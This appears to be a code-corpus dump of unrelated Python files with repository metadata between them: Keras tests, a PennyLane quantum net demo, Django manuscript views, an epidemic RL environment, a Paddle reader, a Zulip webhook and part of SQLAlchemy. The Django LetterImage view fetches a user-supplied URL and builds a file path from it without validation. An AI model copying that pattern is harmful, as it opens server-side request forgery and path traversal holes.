import keras import pytest from convnet3d.models import ( reductionModel, submodels, convnet3dModel ) class TestReductionModel(object): def test_TimeDistributed(self): with pytest.raises(TypeError) : roi_input = keras.layers.Input(shape=(10, 25, 60, 60, 1)) fpr_model = reductionModel() outputs = keras.layers.TimeDistributed(fpr_model)(roi_input) model = keras.models.Model(inputs=roi_input, outputs=outputs) model.summary() def test_inputs_outputs(self): fpr_model = reductionModel() assert isinstance(fpr_model.inputs, list) assert isinstance(fpr_model.outputs, list) def test_TimeDistributed_with_submodels(self): roi_input = keras.layers.Input(shape=(10, 25, 60, 60, 1)) fpr_model = reductionModel() sub_models = submodels(fpr_model) sub_models_outputs = [keras.layers.TimeDistributed(subm)(roi_input) for subm in sub_models] model = keras.models.Model(inputs=roi_input, outputs=sub_models_outputs) model.summary() class TestConvnet3dModel(object): def test_simple(self): model = convnet3dModel() # noqa: F841

32.459459

99

0.679434

4a07e3151369586ee287d1e30f50749534a9506b

2,599

py

Python

examples/CV2_quantum-neural-net.py

AroosaIjaz/Mypennylane

40f2219b5e048d4bd93df815811ca5ed3f5327fa

[ "Apache-2.0" ]

1

2019-05-12T22:43:42.000Z

examples/CV2_quantum-neural-net.py

shashanka300/pennylane

194ccd00a9a7f7075c37680c970e56bab4808e60

[ "Apache-2.0" ]

null

examples/CV2_quantum-neural-net.py

shashanka300/pennylane

194ccd00a9a7f7075c37680c970e56bab4808e60

[ "Apache-2.0" ]

1

2022-03-04T02:17:11.000Z

"""Continuous-variable quantum neural network example. In this demo we implement the photonic quantum neural net model from Killoran et al. (arXiv:1806.06871) with the example of function fitting. """ import pennylane as qml from pennylane import numpy as np from pennylane.optimize import AdamOptimizer try: dev = qml.device('strawberryfields.fock', wires=1, cutoff_dim=10) except: print("To run this demo you need to install the strawberryfields plugin...") def layer(v): """ Single layer of the quantum neural net. Args: v (array[float]): array of variables for one layer """ # Matrix multiplication of input layer qml.Rotation(v[0], wires=0) qml.Squeezing(v[1], 0., wires=0) qml.Rotation(v[2], wires=0) # Bias qml.Displacement(v[3], 0., wires=0) # Element-wise nonlinear transformation qml.Kerr(v[4], wires=0) @qml.qnode(dev) def quantum_neural_net(var, x=None): """The quantum neural net variational circuit. Args: var (array[float]): array of variables x (array[float]): single input vector Returns: float: expectation of Homodyne measurement on Mode 0 """ # Encode input x into quantum state qml.Displacement(x, 0., wires=0) # "layer" subcircuits for v in var: layer(v) return qml.expval.X(0) def square_loss(labels, predictions): """ Square loss function Args: labels (array[float]): 1-d array of labels predictions (array[float]): 1-d array of predictions Returns: float: square loss """ loss = 0 for l, p in zip(labels, predictions): loss = loss + (l - p) ** 2 loss = loss / len(labels) return loss def cost(var, features, labels): """Cost function to be minimized. Args: var (array[float]): array of variables features (array[float]): 2-d array of input vectors labels (array[float]): 1-d array of targets Returns: float: loss """ # Compute prediction for each input in data batch preds = [quantum_neural_net(var, x=x) for x in features] return square_loss(labels, preds) # load function data data = np.loadtxt("data/sine.txt") X = data[:, 0] Y = data[:, 1] # initialize weights np.random.seed(0) num_layers = 4 var_init = 0.05 * np.random.randn(num_layers, 5) # create optimizer opt = AdamOptimizer(0.01, beta1=0.9, beta2=0.999) # train var = var_init for it in range(500): var = opt.step(lambda v: cost(v, X, Y), var) print("Iter: {:5d} | Cost: {:0.7f} ".format(it + 1, cost(var, X, Y)))

23.414414

80

0.643324

4a07e3654c70c74eac4bf358a32f3b3bb49e3d31

2,993

py

Python

scripts/views.py

sul-cidr/scriptchart-backend

38bb4139d77d683d85f31839a1a06096fe2fabbc

[ "MIT" ]

1

2019-06-05T23:05:32.000Z

scripts/views.py

sul-cidr/scriptchart-backend

38bb4139d77d683d85f31839a1a06096fe2fabbc

[ "MIT" ]

42

2019-01-24T23:51:42.000Z

2021-09-08T01:04:45.000Z

scripts/views.py

sul-cidr/scriptchart-backend

38bb4139d77d683d85f31839a1a06096fe2fabbc

[ "MIT" ]

1

2019-08-05T12:47:57.000Z

import pathlib import requests from io import BytesIO from django.conf import settings from django.http import HttpResponse from rest_framework import generics from PIL import Image from scripts.models import Manuscript, Page, Coordinates from scripts.serializers import ( ManuscriptSerializer, PageSerializer, CoordinatesSerializer) class LetterImage(generics.ListAPIView): def get(self, request, format=None): page_url = self.request.GET.get('page_url') x = int(self.request.GET.get('x', 0)) y = int(self.request.GET.get('y', 0)) w = int(self.request.GET.get('w', 0)) h = int(self.request.GET.get('h', 0)) img_path = None if settings.IMAGES_ROOT is not None: img_base = pathlib.Path(settings.IMAGES_ROOT) path = page_url.replace( 'https://images.syriac.reclaim.hosting/', '') img_path = img_base / path if img_path and img_path.exists(): image = Image.open(img_path) else: image_response = requests.get(page_url, verify=True) image = Image.open(BytesIO(image_response.content)) image_crop = image.crop([x, y, x + w, y + h]) response = HttpResponse(content_type="image/png") image_crop.save(response, "PNG") response['Content-Length'] = len(response.content) return response class ManuscriptList(generics.ListAPIView): serializer_class = ManuscriptSerializer def get_queryset(self): queryset = Manuscript.objects.all() display_flag = self.request.query_params.get('display', None) if display_flag is not None: queryset = queryset.exclude(display=False) return queryset class ManuscriptDetail(generics.RetrieveAPIView): queryset = Manuscript.objects.all() serializer_class = ManuscriptSerializer class PageList(generics.ListAPIView): serializer_class = PageSerializer def get_queryset(self): queryset = Page.objects.all() manuscript_id = self.request.query_params.get('manuscript_id', None) if manuscript_id is not None: queryset = queryset.filter(manuscript_id=manuscript_id) return queryset class PageDetail(generics.RetrieveAPIView): queryset = Page.objects.all() serializer_class = PageSerializer class CoordinatesList(generics.ListAPIView): serializer_class = CoordinatesSerializer def get_queryset(self): queryset = Coordinates.objects.all() page_id = self.request.query_params.get('page_id', None) letter_id = self.request.query_params.get('letter_id', None) if page_id is not None: queryset = queryset.filter(page_id=page_id) if letter_id is not None: queryset = queryset.filter(letter_id=letter_id) return queryset class CoordinatesDetail(generics.RetrieveAPIView): queryset = Coordinates.objects.all() serializer_class = CoordinatesSerializer

31.840426

76

0.683261

4a07e3b2f1fba58965908d71d6306afa3a4d15e3

227

py

Python

tests/__init__.py

idealist/Alfajor

340ed875fd36a2b4aab0caba686dd189cc43f5bd

[ "BSD-3-Clause" ]

2

2015-11-01T22:29:54.000Z

2018-02-15T15:54:30.000Z

tests/__init__.py

jek/alfajor

867f66ea1a9306fe24a0498215d2c9b83d43188d

[ "BSD-3-Clause" ]

1

2015-10-14T08:02:50.000Z

2020-04-26T06:18:48.000Z

tests/__init__.py

idealist/Alfajor

340ed875fd36a2b4aab0caba686dd189cc43f5bd

[ "BSD-3-Clause" ]

3

2015-09-16T14:31:23.000Z

2020-09-08T06:34:12.000Z

# Copyright Action Without Borders, Inc., the Alfajor authors and contributors. # All rights reserved. See AUTHORS. # # This file is part of 'alfajor' and is distributed under the BSD license. # See LICENSE for more details.

32.428571

79

0.757709

4a07e441bf3a004bd2a8796ba5df82c34106dff7

8,859

py

Python

envs/EpidemicMultiEnv.py

covidmulator/EpidemicEnv

d9caf28d2636c1c852cb01e669a038d7a466fc3e

[ "MIT" ]

4

2020-10-29T14:47:15.000Z

2021-11-17T13:51:13.000Z

envs/EpidemicMultiEnv.py

covidmulator/EpidemicEnv

d9caf28d2636c1c852cb01e669a038d7a466fc3e

[ "MIT" ]

1

2020-10-10T16:44:08.000Z

2020-10-19T06:07:03.000Z

envs/EpidemicMultiEnv.py

covidmulator/EpidemicEnv

d9caf28d2636c1c852cb01e669a038d7a466fc3e

[ "MIT" ]

1

2020-10-29T12:25:29.000Z

import gym import numpy as np from gym import spaces from sklearn.preprocessing import MinMaxScaler from random import choice, randint, random from typing import List, Tuple # encoding for q table # entity에 개개인의 값을 가지도록 만들면 좋을 듯 EMPTY = 0 COMMON = 2 VIRUS = 1 ISOLATION = 3 AGENT_MATRIX = [ [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] ] REWARD_MATRIX = [ [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] ] class EpidemicMultiEnv(gym.Env): def __init__(self, env_config): agent_matrix = AGENT_MATRIX reward_matrix = REWARD_MATRIX self.agent_num = env_config["agent_num"] self.action_length = 4 self.state_length = 15 * 15 self.action_space = spaces.Box(low=-1.0,high=4.0,shape=(15,15),dtype=np.float32), self.observation_space = spaces.Box(low=-1.0, high=4.0,shape=(15,15),dtype=np.float32) self.population = self.min_max_norm(env_config["population"]) Q = np.zeros([15, 15]) self.agent_matrix = agent_matrix = np.array(agent_matrix).astype(int) self.nrow, self.ncol = nrow, ncol = self.agent_matrix.shape self.reward_range = (-1, 1) self.agents = self.get_position() self.has_virus = self.get_virus() self.episode = 0 self.destinations = self.get_position() self.steps = [0 for _ in range(env_config["agent_num"])] self.reward_matrix = self.get_reward_matrix(reward_matrix) self.Q_list = [Q for _ in range(env_config["agent_num"])] self.lr = .8 self.y = .95 self.epsilon = .9 self.s = [self.encode_state(i) for i in range(self.agent_num)] self.reward_arr = [0 for _ in range(env_config["agent_num"])] self.reward_all_arr = [0 for _ in range(env_config["agent_num"])] def min_max_norm(self, lst: list) -> list: scaler = MinMaxScaler(feature_range=(-1, 1)) scaler.fit(lst) lst_norm = scaler.transform(lst) return lst_norm def get_reward_matrix(self, matrix: list) -> list: matrix_result = matrix e = self.episode matrix_result[2][9] = self.population[0][e] matrix_result[11][4] = self.population[1][e] matrix_result[9][4] = self.population[2][e] matrix_result[7][4] = self.population[3][e] matrix_result[9][9] = self.population[4][e] matrix_result[3][4] = self.population[5][e] return matrix_result def get_position(self) -> list: num_x = list(range(0, self.ncol)) num_y = list(range(0, self.nrow)) positions = list() positions_return = list() for x in num_x: for y in num_y: positions.append([x, y]) for _ in range(self.agent_num): selected = choice(positions) positions_return.append(selected) positions.pop(positions.index(selected)) return positions_return def get_virus(self) -> list: index = randint(0, self.agent_num - 1) virus_return = [False for _ in range(self.agent_num)] virus_return[index] = True x, y = self.agents[index] self.agent_matrix[x][y] = VIRUS return virus_return def get_target(self, direction: int, index: int) -> Tuple[int, int]: delta_x = [0, 0, -1, 1] delta_y = [-1, 1, 0, 0] agent_x = self.agents[index][0] agent_y = self.agents[index][1] return agent_x + delta_x[direction], agent_y + delta_y[direction] def is_virus_around(self, index: int) -> bool: result = False x = self.agents[index][0] y = self.agents[index][1] for action in range(4): if(self.is_move_correct(action, index)): around_x, around_y = self.get_target(action, index) if(self.agent_matrix[around_x][around_y] == VIRUS): self.has_virus[self.agents.index([x, y])] = True result = True return result def is_move_correct(self, action: int, index: int) -> bool: if(0 < action < 4): agent_x, agent_y = self.get_target(action, index) return (0 <= agent_x < self.nrow - 1) and (0 <= agent_y < self.ncol - 1) return False def encode_state(self, index: int) -> int: x = self.agents[index][0] y = self.agents[index][1] return self.agent_matrix[x][y] def move_link(self, x: int, y: int, index: int, status: int) -> None: agent_x = self.agents[index][0] agent_y = self.agents[index][1] self.agent_matrix[x][y] = status self.agent_matrix[agent_x][agent_y] = 0 self.agents[index][0] = x self.agents[index][1] = y def move(self, direction: int, index: int) -> Tuple[float, bool]: agent_x = self.agents[index][0] agent_y = self.agents[index][1] status = COMMON self.steps[index] += 1 if(self.is_virus_around(index)): status = VIRUS self.steps[index] -= 1 x, y = self.get_target(direction, index) object_in_direction = int(self.agent_matrix[x][y]) reward_return = 0 is_end = False if x == self.destinations[index][0] and y == self.destinations[index][1]: status = EMPTY is_end = True elif object_in_direction == EMPTY: self.move_link(x, y, index, status) reward_return = .5 elif object_in_direction == VIRUS: self.move_link(x, y, index, status) reward_return = -.1 elif object_in_direction == COMMON: self.move_link(x, y, index, status) reward_return = -.1 elif object_in_direction == ISOLATION: self.move_link(x, y, index, status) reward_return = -.1 reward_return += self.reward_matrix[agent_x][agent_y] return reward_return, is_end def choose_action(self): actions = list() for index in range(self.agent_num): if (random() < (self.epsilon / np.log(self.episode + 2))): a = randint(0, 15 - 1) else: a = np.argmax(self.Q_list[index][self.s,:][index] + np.random.randn(1, 15) * (1. / (self.episode + 1))) actions.append(a) return actions def action(self, actions) -> Tuple[list, list, list, dict]: rewards = list() encode_states = list() dones = list() for i in range(self.agent_num): if (self.is_move_correct(actions[i], i)): r, d = self.move(actions[i], i) else: r, d = -1, False encode_states.append(self.encode_state(i)) rewards.append(r) dones.append(d) return encode_states, rewards, False in dones, {} def update_reward_matrix(self, matrix: list) -> None: for x, lst in enumerate(self.reward_matrix): for y in range(len(lst)): self.reward_matrix[x][y] += matrix[x][y] def step(self, matrix: list) -> Tuple[list, float, list, dict]: self.update_reward_matrix(matrix) actions = self.choose_action() s1, r, d, _ = self.action(actions) for index in range(self.agent_num): Q_sa = self.Q_list[index][self.s[index], actions[index]] self.Q_list[index][self.s[index], actions[index]] = Q_sa + self.lr * (r[index] + self.y * np.max(self.Q_list[index][s1[index], :]) - Q_sa) self.reward_all_arr[index] += r[index] self.s[index] = s1[index] return self.agent_matrix, np.mean(self.steps), d, {} def reset(self) -> List[int]: agent_matrix = AGENT_MATRIX reward_matrix = REWARD_MATRIX self.episode += 1 self.agent_matrix = agent_matrix = np.array(agent_matrix).astype(int) self.reward_matrix = self.get_reward_matrix(reward_matrix) self.agents = self.get_position() self.has_virus = self.get_virus() self.destinations = self.get_position() states = [self.encode_state(i) for i in range(self.agent_num)] self.s = states return np.array(agent_matrix).astype(int)

31.193662

144

0.590134

4a07e512d01c66e5bd778c0ab11a00f78fb138a0

5,988

py

Python

PaddleRec/ctr/Paddle_baseline_KDD2019/map_reader.py

suytingwan/models

ccdbfe77d071cc19b55fb9f4b738912e35d982ef

[ "Apache-2.0" ]

5

2021-09-28T13:28:01.000Z

2021-12-21T07:25:44.000Z

PaddleRec/ctr/Paddle_baseline_KDD2019/map_reader.py

suytingwan/models

ccdbfe77d071cc19b55fb9f4b738912e35d982ef

[ "Apache-2.0" ]

2

2019-06-26T03:21:49.000Z

2019-09-19T09:43:42.000Z

PaddleRec/ctr/Paddle_baseline_KDD2019/map_reader.py

suytingwan/models

ccdbfe77d071cc19b55fb9f4b738912e35d982ef

[ "Apache-2.0" ]

3

2021-09-28T15:33:45.000Z

2021-09-29T01:44:32.000Z

# Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import sys import json import paddle.fluid.incubate.data_generator as dg class MapDataset(dg.MultiSlotDataGenerator): def setup(self, sparse_feature_dim): self.profile_length = 65 self.dense_length = 3 #feature names self.dense_feature_list = ["distance", "price", "eta"] self.pid_list = ["pid"] self.query_feature_list = ["weekday", "hour", "o1", "o2", "d1", "d2"] self.plan_feature_list = ["transport_mode"] self.rank_feature_list = ["plan_rank", "whole_rank", "price_rank", "eta_rank", "distance_rank"] self.rank_whole_pic_list = ["mode_rank1", "mode_rank2", "mode_rank3", "mode_rank4", "mode_rank5"] self.weather_feature_list = ["max_temp", "min_temp", "wea", "wind"] self.hash_dim = 1000001 self.train_idx_ = 2000000 #carefully set if you change the features self.categorical_range_ = range(0, 22) #process one instance def _process_line(self, line): instance = json.loads(line) """ profile = instance["profile"] len_profile = len(profile) if len_profile >= 10: user_profile_feature = profile[0:10] else: profile.extend([0]*(10-len_profile)) user_profile_feature = profile if len(profile) > 1 or (len(profile) == 1 and profile[0] != 0): for p in profile: if p >= 1 and p <= 65: user_profile_feature[p - 1] = 1 """ context_feature = [] context_feature_fm = [] dense_feature = [0] * self.dense_length plan = instance["plan"] for i, val in enumerate(self.dense_feature_list): dense_feature[i] = plan[val] if (instance["pid"] == ""): instance["pid"] = 0 query = instance["query"] weather_dic = instance["weather"] for fea in self.pid_list: context_feature.append([hash(fea + str(instance[fea])) % self.hash_dim]) context_feature_fm.append(hash(fea + str(instance[fea])) % self.hash_dim) for fea in self.query_feature_list: context_feature.append([hash(fea + str(query[fea])) % self.hash_dim]) context_feature_fm.append(hash(fea + str(query[fea])) % self.hash_dim) for fea in self.plan_feature_list: context_feature.append([hash(fea + str(plan[fea])) % self.hash_dim]) context_feature_fm.append(hash(fea + str(plan[fea])) % self.hash_dim) for fea in self.rank_feature_list: context_feature.append([hash(fea + str(instance[fea])) % self.hash_dim]) context_feature_fm.append(hash(fea + str(instance[fea])) % self.hash_dim) for fea in self.rank_whole_pic_list: context_feature.append([hash(fea + str(instance[fea])) % self.hash_dim]) context_feature_fm.append(hash(fea + str(instance[fea])) % self.hash_dim) for fea in self.weather_feature_list: context_feature.append([hash(fea + str(weather_dic[fea])) % self.hash_dim]) context_feature_fm.append(hash(fea + str(weather_dic[fea])) % self.hash_dim) label = [int(instance["label"])] return dense_feature, context_feature, context_feature_fm, label def infer_reader(self, filelist, batch, buf_size): print(filelist) def local_iter(): for fname in filelist: with open(fname.strip(), "r") as fin: for line in fin: dense_feature, sparse_feature, sparse_feature_fm, label = self._process_line(line) yield [dense_feature] + sparse_feature + [sparse_feature_fm] + [label] import paddle batch_iter = paddle.batch( paddle.reader.shuffle( local_iter, buf_size=buf_size), batch_size=batch) return batch_iter #generat inputs for testing def test_reader(self, filelist, batch, buf_size): print(filelist) def local_iter(): for fname in filelist: with open(fname.strip(), "r") as fin: for line in fin: dense_feature, sparse_feature, sparse_feature_fm, label = self._process_line(line) yield [dense_feature] + sparse_feature + [sparse_feature_fm] + [label] import paddle batch_iter = paddle.batch( paddle.reader.buffered( local_iter, size=buf_size), batch_size=batch) return batch_iter #generate inputs for trainig def generate_sample(self, line): def data_iter(): dense_feature, sparse_feature, sparse_feature_fm, label = self._process_line(line) #feature_name = ["user_profile"] feature_name = [] feature_name.append("dense_feature") for idx in self.categorical_range_: feature_name.append("context" + str(idx)) feature_name.append("context_fm") feature_name.append("label") yield zip(feature_name, [dense_feature] + sparse_feature + [sparse_feature_fm] + [label]) return data_iter if __name__ == "__main__": map_dataset = MapDataset() map_dataset.setup(int(sys.argv[1])) map_dataset.run_from_stdin()

41.013699

106

0.616232

4a07e558df59373c4d7dbfa6fe224c4d73a940c2

322

py

Python

bookshop/sqlalchemy/fixture/BookGenre.py

robyoung/genyrator

849f2ec83ef6dd9e2e5928cb58f747cc40016f2a

[ "MIT" ]

null

bookshop/sqlalchemy/fixture/BookGenre.py

robyoung/genyrator

849f2ec83ef6dd9e2e5928cb58f747cc40016f2a

[ "MIT" ]

9

2019-09-13T09:31:55.000Z

2021-01-11T11:09:17.000Z

bookshop/sqlalchemy/fixture/BookGenre.py

robyoung/genyrator

849f2ec83ef6dd9e2e5928cb58f747cc40016f2a

[ "MIT" ]

1

2020-07-22T15:03:41.000Z

import factory from bookshop.sqlalchemy import db from bookshop.sqlalchemy.model.BookGenre import BookGenre class BookGenreFactory(factory.alchemy.SQLAlchemyModelFactory): class Meta: model = BookGenre sqlalchemy_session = db.session book_genre_id = factory.Faker('uuid4', cast_to=lambda x: x)

24.769231

63

0.763975

4a07e570a298bd36f26c458c30ec6c6ed1b923c2

1,981

py

Python

extras/pokemontools/vba/keyboard.py

longlostsoul/EvoYellow

fe5d0d372c4e90d384c4005a93f19d7968f2ff13

[ "Unlicense" ]

16

2018-08-28T21:47:01.000Z

2022-02-20T20:29:59.000Z

extras/pokemontools/vba/keyboard.py

longlostsoul/EvoYellow

fe5d0d372c4e90d384c4005a93f19d7968f2ff13

[ "Unlicense" ]

5

2019-04-03T19:53:11.000Z

2022-03-11T22:49:34.000Z

extras/pokemontools/vba/keyboard.py

longlostsoul/EvoYellow

fe5d0d372c4e90d384c4005a93f19d7968f2ff13

[ "Unlicense" ]

2

2019-12-09T19:46:02.000Z

2020-12-05T21:36:30.000Z

# -*- coding: utf-8 -*- """ This file constructs a networkx.DiGraph object called graph, which can be used to find the shortest path of keypresses on the keyboard to type a word. """ import os import itertools import networkx graph = networkx.DiGraph() # load graph data from file data_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "keyboard.data") graph_data = open(data_path, "r").read() for line in graph_data.split("\n"): if line == "": continue elif line[0] == "#": continue (node1, node2, edge_name) = line.split(" ") graph.add_edge(node1, node2, key=edge_name) #print "Adding edge ("+edge_name+") "+node1+" -> "+node2 def shortest_path(node1, node2): """ Figures out the shortest list of button presses to move from one letter to another. """ buttons = [] last = None path = networkx.shortest_path(graph, node1, node2) for each in path: if last != None: buttons.append(convert_nodes_to_button_press(last, each)) last = each return buttons #return [convert_nodes_to_button_press(node3, node4) for (node3, node4) in zip(*(iter(networkx.shortest_path(graph, node1, node2)),) * 2)] def convert_nodes_to_button_press(node1, node2): """ Determines the button necessary to switch from node1 to node2. """ print "getting button press for state transition: " + node1 + " -> " + node2 return graph.get_edge_data(node1, node2)["key"] def plan_typing(text, current="A"): """ Plans a sequence of button presses to spell out the given text. """ buttons = [] for target in text: if target == current: buttons.append("a") else: print "Finding the shortest path between " + current + " and " + target more_buttons = shortest_path(current, target) buttons.extend(more_buttons) buttons.append("a") current = target return buttons

30.476923

142

0.64109

4a07e6f8bca5d0956fdd8a936991d3cfb5100f9f

902

py

Python

zerver/webhooks/yo/view.py

roberthoenig/zulip

5d6724345a8ba4896d21478be2e33e624f8ac8ab

[ "Apache-2.0" ]

null

zerver/webhooks/yo/view.py

roberthoenig/zulip

5d6724345a8ba4896d21478be2e33e624f8ac8ab

[ "Apache-2.0" ]

null

zerver/webhooks/yo/view.py

roberthoenig/zulip

5d6724345a8ba4896d21478be2e33e624f8ac8ab

[ "Apache-2.0" ]

null

# Webhooks for external integrations. from __future__ import absolute_import from zerver.lib.actions import check_send_message from zerver.lib.response import json_success from zerver.decorator import REQ, has_request_variables, api_key_only_webhook_view from zerver.models import UserProfile from django.http import HttpRequest, HttpResponse from typing import Optional import ujson @api_key_only_webhook_view('Yo') @has_request_variables def api_yo_app_webhook(request, user_profile, email=REQ(default=None), username=REQ(default='Yo Bot'), topic=REQ(default=None), user_ip=REQ(default=None)): # type: (HttpRequest, UserProfile, Optional[str], str, Optional[str], Optional[str]) -> HttpResponse body = ('Yo from %s') % (username,) check_send_message(user_profile, request.client, 'private', [email], topic, body) return json_success()

41

104

0.752772

4a07e785696f3520085a40999762215510eb5bb1

55,884

py

Python

flask/lib/python2.7/site-packages/sqlalchemy/orm/strategies.py

blackbliss/callme

fe254ef4c3af36ab7a65f3de0071d2c79375e3e0

[ "MIT" ]

null

flask/lib/python2.7/site-packages/sqlalchemy/orm/strategies.py

blackbliss/callme

fe254ef4c3af36ab7a65f3de0071d2c79375e3e0

[ "MIT" ]

4

2017-10-24T22:44:01.000Z

2017-10-24T22:44:19.000Z

flask/lib/python2.7/site-packages/sqlalchemy/orm/strategies.py

blackbliss/callme

fe254ef4c3af36ab7a65f3de0071d2c79375e3e0

[ "MIT" ]

1

2021-04-16T11:10:59.000Z

# orm/strategies.py # Copyright (C) 2005-2014 the SQLAlchemy authors and contributors <see AUTHORS file> # # This module is part of SQLAlchemy and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php """sqlalchemy.orm.interfaces.LoaderStrategy implementations, and related MapperOptions.""" from .. import exc as sa_exc, inspect from .. import util, log, event from ..sql import util as sql_util, visitors from .. import sql from . import ( attributes, interfaces, exc as orm_exc, loading, unitofwork, util as orm_util ) from .state import InstanceState from .util import _none_set from . import properties from .interfaces import ( LoaderStrategy, StrategizedProperty ) from .session import _state_session import itertools def _register_attribute(strategy, mapper, useobject, compare_function=None, typecallable=None, uselist=False, callable_=None, proxy_property=None, active_history=False, impl_class=None, **kw ): prop = strategy.parent_property attribute_ext = list(util.to_list(prop.extension, default=[])) listen_hooks = [] if useobject and prop.single_parent: listen_hooks.append(single_parent_validator) if prop.key in prop.parent.validators: fn, opts = prop.parent.validators[prop.key] listen_hooks.append( lambda desc, prop: orm_util._validator_events(desc, prop.key, fn, **opts) ) if useobject: listen_hooks.append(unitofwork.track_cascade_events) # need to assemble backref listeners # after the singleparentvalidator, mapper validator backref = kw.pop('backref', None) if backref: listen_hooks.append( lambda desc, prop: attributes.backref_listeners(desc, backref, uselist) ) for m in mapper.self_and_descendants: if prop is m._props.get(prop.key): desc = attributes.register_attribute_impl( m.class_, prop.key, parent_token=prop, uselist=uselist, compare_function=compare_function, useobject=useobject, extension=attribute_ext, trackparent=useobject and (prop.single_parent or prop.direction is interfaces.ONETOMANY), typecallable=typecallable, callable_=callable_, active_history=active_history, impl_class=impl_class, send_modified_events=not useobject or not prop.viewonly, doc=prop.doc, **kw ) for hook in listen_hooks: hook(desc, prop) @properties.ColumnProperty.strategy_for(instrument=False, deferred=False) class UninstrumentedColumnLoader(LoaderStrategy): """Represent the a non-instrumented MapperProperty. The polymorphic_on argument of mapper() often results in this, if the argument is against the with_polymorphic selectable. """ def __init__(self, parent): super(UninstrumentedColumnLoader, self).__init__(parent) self.columns = self.parent_property.columns def setup_query(self, context, entity, path, loadopt, adapter, column_collection=None, **kwargs): for c in self.columns: if adapter: c = adapter.columns[c] column_collection.append(c) def create_row_processor(self, context, path, loadopt, mapper, row, adapter): return None, None, None @log.class_logger @properties.ColumnProperty.strategy_for(instrument=True, deferred=False) class ColumnLoader(LoaderStrategy): """Provide loading behavior for a :class:`.ColumnProperty`.""" def __init__(self, parent): super(ColumnLoader, self).__init__(parent) self.columns = self.parent_property.columns self.is_composite = hasattr(self.parent_property, 'composite_class') def setup_query(self, context, entity, path, loadopt, adapter, column_collection, **kwargs): for c in self.columns: if adapter: c = adapter.columns[c] column_collection.append(c) def init_class_attribute(self, mapper): self.is_class_level = True coltype = self.columns[0].type # TODO: check all columns ? check for foreign key as well? active_history = self.parent_property.active_history or \ self.columns[0].primary_key or \ mapper.version_id_col in set(self.columns) _register_attribute(self, mapper, useobject=False, compare_function=coltype.compare_values, active_history=active_history ) def create_row_processor(self, context, path, loadopt, mapper, row, adapter): key = self.key # look through list of columns represented here # to see which, if any, is present in the row. for col in self.columns: if adapter: col = adapter.columns[col] if col is not None and col in row: def fetch_col(state, dict_, row): dict_[key] = row[col] return fetch_col, None, None else: def expire_for_non_present_col(state, dict_, row): state._expire_attribute_pre_commit(dict_, key) return expire_for_non_present_col, None, None @log.class_logger @properties.ColumnProperty.strategy_for(deferred=True, instrument=True) class DeferredColumnLoader(LoaderStrategy): """Provide loading behavior for a deferred :class:`.ColumnProperty`.""" def __init__(self, parent): super(DeferredColumnLoader, self).__init__(parent) if hasattr(self.parent_property, 'composite_class'): raise NotImplementedError("Deferred loading for composite " "types not implemented yet") self.columns = self.parent_property.columns self.group = self.parent_property.group def create_row_processor(self, context, path, loadopt, mapper, row, adapter): col = self.columns[0] if adapter: col = adapter.columns[col] key = self.key if col in row: return self.parent_property._get_strategy_by_cls(ColumnLoader).\ create_row_processor( context, path, loadopt, mapper, row, adapter) elif not self.is_class_level: set_deferred_for_local_state = InstanceState._row_processor( mapper.class_manager, LoadDeferredColumns(key), key) return set_deferred_for_local_state, None, None else: def reset_col_for_deferred(state, dict_, row): # reset state on the key so that deferred callables # fire off on next access. state._reset(dict_, key) return reset_col_for_deferred, None, None def init_class_attribute(self, mapper): self.is_class_level = True _register_attribute(self, mapper, useobject=False, compare_function=self.columns[0].type.compare_values, callable_=self._load_for_state, 